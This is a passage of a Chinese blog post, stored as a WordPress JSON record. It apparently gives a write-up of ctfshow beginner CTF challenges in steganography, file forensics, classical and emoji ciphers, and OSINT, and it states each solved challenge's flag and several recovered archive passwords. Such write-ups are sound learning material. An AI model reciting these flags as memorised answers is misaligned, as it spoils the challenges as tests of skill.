\u7528foremost\u5206\u79bb\u540e\uff0c\u56fe\u7247\u5728Linux\u4e2d\u6253\u4e0d\u5f00\uff0c\u8bf4\u662fCRC\u7684\u95ee\u9898\uff0c\u90a3\u663e\u7136\u5c31\u5f97\u6539\u9ad8\u5ea6\u4e86,<\/p>\n\n\n\n
\u8fd0\u884c\u6a21\u677f\uff0c\u6539\u9ad8\u5ea6(\u4e4b\u524d\u91cd\u5e86\u5927\u5b66\u751f\u90a3\u4e2a\u9898\u6709\u8fc7\u6559\u7a0b\uff0c\u611f\u89c9\u4ed6\u4eec\u9898\u5dee\u4e0d\u591a)<\/p>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
\u7136\u540e\u5c31\u770b\u5f97\u5230\u4e00\u90e8\u5206flag\uff0c\u4f46\u8fd8\u6709\u4e00\u90e8\u5206\uff1a<\/p>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
\u5df2\u77e5\u6539\u56fe\u7247\u6ca1\u6709\u9644\u4ef6\uff0c\u6240\u4ee5\u53e6\u4e00\u90e8\u5206flag\u80af\u5b9a\u4e5f\u5728\u8fd9\u5f20\u56fe\u91cc\uff0c\u5728\u54ea\u513f\u5462\uff1f\u76f4\u63a5\u8054\u60f3\u5230\u76f2\u6c34\u5370\u4e86\uff0c\u91cd\u90ae\u529e\u6bd4\u8d5b\u7684\u9898\u4e0d\u4f1a\u5077\u7684\u8fd9\u4e2a\u6bd4\u8d5b\u5427\ud83d\ude13<\/p>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
\u6240\u4ee5flag\u5c31\u662f\uff1actfshow{FirstP@RTSecondP@rTMikumiku~}<\/p>\n\n\n\n
You and me<\/h2>\n\n\n\n
\u4e0b\u8f7d\u9644\u4ef6\u5f97\u5230\u4e24\u5f20\u56fe\u7247\uff0c\u4e00\u770b\u5c31\u662f\u76f2\u6c34\u5370\u4e86\uff0c\u4e4b\u524d\u4e5f\u590d\u73b0\u4e5f\u63d0\u5230\u8fc7\u4e86\uff0c\u96be\u7ef7\uff0c\u91cd\u5e86\u5927\u5b66\u751f\u7ade\u8d5b\u4e4b\u524d\u9047\u5230\u4e86\u5c31\u597d\u4e86<\/p>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
\u9ed1\u4e1d\u767d\u4e1d\u8fd8\u6709\u4ec0\u4e48\u4e1d\uff1f<\/h2>\n\n\n\n
\u9ed1\u4e1d\u4e3a 1 \u767d\u4e1d\u4e3a 0 \u8f6c\u573a\u52a8\u753b\u4e3a\u5206\u5272\u6807\u5fd7\uff0c\u7136\u540e\u9898\u76ee\u63d0\u793a\u4e86\u662f\u83ab\u65af\u5bc6\u7801\u561b\uff1a<\/p>\n\n\n\n
011 00001 10 1 1 11111 1000 000 11 11 111 010 0 1010 001 1 0<\/code><\/pre>\n\n\n\n
\u89e3\u4e00\u4e0b\u5c31\u884c\u4e86\uff1a
ctfshow{W4NTT0B3MORECUTE}<\/p>\n\n\n\n
\u6211\u5410\u4e86\u4f60\u968f\u610f<\/h2>\n\n\n\n
\u96f6\u5bbd\u5ea6\u9690\u5199<\/a><\/p>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
ctfshow{OP_is_for_Over_Power}<\/p>\n\n\n\n
\u8fd9\u662f\u4e2a\u4ec0\u4e48\u6587\u4ef6\uff1f<\/h2>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
\u770b\u6765\u662f\u4f2a\u52a0\u5bc6<\/p>\n\n\n\n
\u6539\u4e86\u4e4b\u540e\u89e3\u538b\u51fa\u6765\u4e00\u4e2a\u795e\u79d8\u6587\u4ef6<\/p>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
\u4e00\u773cpyc\uff0c\u6539\u540e\u7f00\uff0c\u627e\u4e2a\u5728\u7ebf\u5e73\u53f0<\/a>\u53cd\u7f16\u8bd1\u4e00\u4e0b\uff1a<\/p>\n\n\n\n
#!\/usr\/bin\/env python\n# visit https:\/\/tool.lu\/pyc\/ for more information\n# Version: Python 3.7\n\nflag = bytes([\n    99,\n    116,\n    102,\n    115,\n    104,\n    111,\n    119,\n    123,\n    99,\n    100,\n    106,\n    110,\n    106,\n    100,\n    95,\n    53,\n    54,\n    53,\n    102,\n    95,\n    71,\n    67,\n    68,\n    72,\n    95,\n    107,\n    99,\n    114,\n    105,\n    109,\n    125]).decode()\nprint(flag)<\/code><\/pre>\n\n\n\n
ctfshow{cdjnjd_565f_GCDH_kcrim}<\/p>\n\n\n\n
\u62bd\u8c61\u753b<\/h2>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
base\u4e00\u628a\u68ad\u51fa\u6765\u4e00\u773c16\u8fdb\u5236\uff0c\u53ef\u80fd\u53ef\u4ee5\u7ec4\u6210\u56fe\u7247<\/p>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
\u4fdd\u5b58\u5b8c\u5f97\u5230\u4e00\u4e2a\u5947\u602a\u7684\u56fe\u7247<\/p>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
\u7528npiet<\/a>\u53ef\u4ee5\u5f97\u5230flag\uff08\u6ca1\u89c1\u8fc7\uff09<\/p>\n\n\n\n
\u5148\u70b9\u51fbnpiet-start.bat\u542f\u52a8cmd\uff0c\u7136\u540enpiet.exe \u56fe\u7247\u540d\u5373\u53ef<\/p>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
\u8fc5\u75be\u54cd\u5e94<\/h2>\n\n\n\n
\u94fe\u63a5<\/a><\/p>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
\u6211\u53ef\u6ca1\u6709\u9a97\u4f60<\/h2>\n\n\n\n
\u5148\u7206\u7834\u5bc6\u7801\uff1a55813329\uff0c\u5f97\u5230\u7684mp3\u6587\u4ef6\u6539wav\u540e\u7f00\uff0c\u7136\u540e\u7528silent eye\u5373\u53ef<\/p>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
\u4f60\u88ab\u9a97\u4e86<\/h2>\n\n\n\n
\u89e3\u538b\u51fa\u6765\u5f97\u5230\u4e00\u4e2amp3\u6587\u4ef6\uff0c\u5c5e\u6027\u91cc\u770b\u5230flag\uff0c\u4f46\u90a3\u4e2a\u662f\u5047\u7684\uff0c\u8003\u8651MP3Stego<\/p>\n\n\n\n
Decode.exe -X cipher.mp3 -P<\/code><\/pre>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
\u4e00\u95ea\u4e00\u95ea\u4eae\u6676\u6676<\/h2>\n\n\n\n
\u538b\u7f29\u5305\u91cc\u56fe\u7247\u53ef\u4ee5\u76f4\u63a5\u89e3\u538b\u51fa\u6765\uff0c\u662f\u6c49\u4fe1\u7801<\/p>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
\u5728\u7ebf\u8bc6\u522b<\/a>\u5f97\u5230\u538b\u7f29\u5305\u5bc6\u7801\uff1aCDBHSBHSxskv6<\/p>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
\u5f97\u5230\u7684\u97f3\u9891\u662fsstv<\/p>\n\n\n\n
\u53c2\u8003Misc SSTV\u6162\u626b\u63cf\u7535\u89c6&\u65e0\u7ebf\u7535\u65b9\u6cd5<\/a><\/p>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
ctfshow{NNICCETOMMETYOU}<\/p>\n\n\n\n
\u4e00\u5c42\u4e00\u5c42\u4e00\u5c42\u5730\u5265\u5f00\u6211\u7684\u2665<\/h2>\n\n\n\n
\u538b\u7f29\u5305\u89e3\u538b\u51fa\u6765\u7684\u6587\u4ef6\u5982\u4e0b<\/p>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
\u901a\u8fc7\u7ecf\u9a8c\u53ef\u4ee5\u5224\u65ad\uff0c\u8fd9\u4e2a\u538b\u7f29\u5305\u5176\u5b9e\u4e0d\u662f\u538b\u7f29\u5305\uff0c\u800c\u662f\u4e00\u4e2adocx\u6587\u4ef6\uff0c\u6539\u540e\u7f00\u540d\uff0c\u6253\u5f00\u540e\u5f97\u5230\u4e00\u4e9b\u5947\u602a\u7684\u5b57\u7b26\uff0c\u5b57\u4f53\u540d\u4e3aWingdings 3<\/p>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
\u6539\u5b57\u4f53\u5f97\u5230\u6b63\u5e38\u6587\u5b57<\/p>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
\u6ca1\u5f97\u5230\u4ec0\u4e48\u6709\u6548\u4fe1\u606f\uff0cbinwalk\u5f97\u5230\u4e24\u4e2a\u538b\u7f29\u5305<\/p>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
0.zip\u662f\u90a3\u4e2adocx\u6587\u4ef6\uff0c\u800c\u90a3\u4e2a2983.rar\u6709\u538b\u7f29\u5305\u5bc6\u7801\uff0c\u5bc6\u7801\u662fTwinkle twinkle little star,how I wonder what you are\u7684\u7b80\u8c31\uff1a11556654433221<\/strong>\uff08\u8fd9\u8c01\u60f3\u7684\u5230\uff09\uff0c\u5f97\u5230\u4e00\u4e2a\u6587\u4ef6\u4e00\u5f20\u56fe<\/p>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
FFD9\uff08jpg\u6587\u4ef6\u5c3e\uff09\u540e\u9762\u53c8\u8ddf\u7740FFD8FF\uff08jpg\u6587\u4ef6\u5934\uff09<\/p>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
\u628aFFD8FF\u4e4b\u540e\u7684\u5341\u516d\u8fdb\u5236\u6570\u636e\u590d\u5236\u4e0b\u6765\u7136\u540e\u65b0\u5efa\u540e\u53ef\u83b7\u5f97\u4e00\u4e2ajpg\u56fe\u7247\u6587\u4ef6\uff0c\u5177\u4f53\u53c2\u8003\u524d\u9762\u62bd\u8c61\u753b\u7684wp<\/p>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
\u6253\u5f00\u90a3\u4e2a\u2665\u6309\u6211\u4e0b\u9762\u7684\u6b65\u9aa4\u6539\u6210rar\u6587\u4ef6<\/p>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
\u591a\u4e86\u56db\u7ec400\uff0c\u4fee\u6539\u6210rar\u6587\u4ef6\u593452617221\u5373\u53ef\uff0c\u4fee\u6539\u5b8c\u6bd5\u540e\u4fdd\u5b58\u5e76\u52a0\u4e0arar\u540e\u7f00<\/p>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
\u538b\u7f29\u5305\u7684\u5bc6\u7801\u662f\u56fe\u7247\u4e0a\u7684winkwink~<\/p>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
\u6700\u540e\u8fd9\u4e2aemoji\u662fbase100<\/a><\/p>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
ctfshow{Wa0_wa_Congr@tulations~}<\/p>\n\n\n\n
\u8fd9\u6b21\u6bd4\u8d5b\u5b66\u4e86\u4e0d\u5c11emoji\u76f8\u5173\u7684\u52a0\u5bc6\uff0c\u6bd4\u5982emoji-aes<\/a>\u3001emoji2text<\/a>\u3001base100<\/a>\uff08emoji\u7f16\u7801\uff09\uff0c\u5176\u4e2demoji-aes\u548cemoji2text\u9700\u8981\u5bc6\u7801<\/p>\n\n\n\n
\u6253\u4e0d\u5f00\u7684\u56fe\u7247<\/h2>\n\n\n\n
\u6c42\u53cd\u5373\u53ef<\/p>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
CRYPTO<\/h1>\n\n\n\n
\u5bc6\u7801\u7b7e\u5230<\/h2>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
base\u4e00\u628a\u68ad\uff1actfshow{welcome_2_caigou_cup}<\/p>\n\n\n\n
Caesar<\/h2>\n\n\n\n
\u663e\u7136\u662f\u51ef\u6492\uff0c\u968f\u4fbf\u8bd5\u8bd5\u5c31\u51fa\u6765\u4e86<\/p>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
ctfshow{Welcome to CTFshow vegetable dog cup!}<\/p>\n\n\n\n
0x36d<\/h2>\n\n\n\n
\u957f\u89c1\u8bc6\u4e86\uff0c\u539f\u6765emoji\u5bc6\u7801\u8fd8\u6709\u8fd9\u79cdtxtmoji<\/a>\uff0c\u6211\u4e4b\u524d\u53ea\u77e5\u9053emoji\u7f16\u7801\u548caes-emoji<\/p>\n\n\n\n
\u8fd9\u91cc\u7684\u5bc6\u7801\u5c31\u662f0x36d\u7684\u5341\u8fdb\u5236\uff0c\u4e5f\u5c31\u662f877<\/p>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
\u7c7b\u578b-7<\/h2>\n\n\n\n
\u6ca1\u542c\u8fc7\uff0c\u73b0\u5728\u60f3\u6765\u9898\u76ee\u5c31\u662f\u63d0\u793a\u4e86\u2014\u2014type 7\u52a0\u5bc6<\/a>\uff1a
<\/p>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
@bash<\/h2>\n\n\n\n
\u57c3\u7279\u5df4\u4ec0\u7801<\/a>\uff0c\u53c8\u662f\u8c10\u97f3\u6897\uff0c\u7ef7\u4e0d\u4f4f\u4e86<\/p>\n\n\n\n
ctfshow{LOVEMUMUZI}<\/p>\n\n\n\n
This is Sparta<\/h2>\n\n\n\n
\u5bc6\u6587\u662f\uff1a<\/p>\n\n\n\n
WFlni~seseds~lh ~@codyc~_owoot~Bm guf~oev rsTy ec ha!tgufon!oeplwj? t!a{i!Ca gy@Tba oi}<\/code><\/pre>\n\n\n\n
\u65af\u5df4\u8fbe\u624b\u6756\u52a0\u5bc6<\/a>\uff0c\u88ab\u6211\u767e\u5ea6\u5230\u4e86\uff0c\u4f46\u6211\u7528\u8fd9\u4e2a\u7f51\u7ad9\u6ca1\u505a\u51fa\u6765\uff0c\u770b\u4e86\u5176\u4ed6\u4eba\u7684wp\uff0c\u53d1\u73b0\u8981\u7528\u8fd9\u4e2a\u6805\u680f\u5bc6\u7801\u7684\u7f51\u7ad9<\/a>\uff0c\u4f46\u662f\u8fd8\u662f\u6ca1\u505a\u51fa\u6765\uff0c\u770b\u4e86\u7b54\u6848\u540e\u77e5\u9053\uff0c\u7b54\u6848\u4e3a\uff1a<\/p>\n\n\n\n
Welcome to CTFshow vegetable dog cup! and your flag is ctfshow{yo~~~~~~Tanji_is_@_Boy!!?!@}<\/code><\/pre>\n\n\n\n
\u7528\u4f4d\u79fb\u4e3a7\u786e\u5b9e\u80fd\u6574\u51fa\u660e\u6587\u6765\uff0c\u4f46\u6ca1\u6cd5\u4ece\u660e\u6587\u8fd8\u539f\u5230\u660e\u6587\uff0c\u96be\u7ef7\uff1a<\/p>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
OSINT<\/h1>\n\n\n\n
OSINT\u5373\u4fe1\u606f\u641c\u96c6\uff0c\u5f53\u793e\u5de5\u9898\u4e86<\/p>\n\n\n\n
Fish And Turtles<\/h2>\n\n\n\n
flag\u683c\u5f0f\uff1actfshow{\u8d77\u59cb\u5730-\u76ee\u7684\u5730-\u822a\u73ed\u53f7}<\/p>\n\n\n\n
\u9898\u76ee\u9644\u4ef6\u91cc\u662f\u4e00\u5f20\u56fe\uff1a<\/p>\n\n\n\n
\"\"<\/div><\/figure>\n","protected":false},"excerpt":{"rendered":"
\u83dc\u72d7\u6765\u7ec3\u7ec3\u624b\uff0c\u591a\u505a\u70b9\uff0c\u770b\u770b\u9898 WEB web\u7b7e\u5230 \u8ba9cookie\u4e2d”CTFshow-QQ\u7fa4:&#8 […]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[9],"tags":[],"class_list":["post-617","post","type-post","status-publish","format-standard","hentry","category-wp"],"_links":{"self":[{"href":"https:\/\/fushuling.com\/index.php\/wp-json\/wp\/v2\/posts\/617","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/fushuling.com\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/fushuling.com\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/fushuling.com\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/fushuling.com\/index.php\/wp-json\/wp\/v2\/comments?post=617"}],"version-history":[{"count":30,"href":"https:\/\/fushuling.com\/index.php\/wp-json\/wp\/v2\/posts\/617\/revisions"}],"predecessor-version":[{"id":1001,"href":"https:\/\/fushuling.com\/index.php\/wp-json\/wp\/v2\/posts\/617\/revisions\/1001"}],"wp:attachment":[{"href":"https:\/\/fushuling.com\/index.php\/wp-json\/wp\/v2\/media?parent=617"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/fushuling.com\/index.php\/wp-json\/wp\/v2\/categories?post=617"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/fushuling.com\/index.php\/wp-json\/wp\/v2\/tags?post=617"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}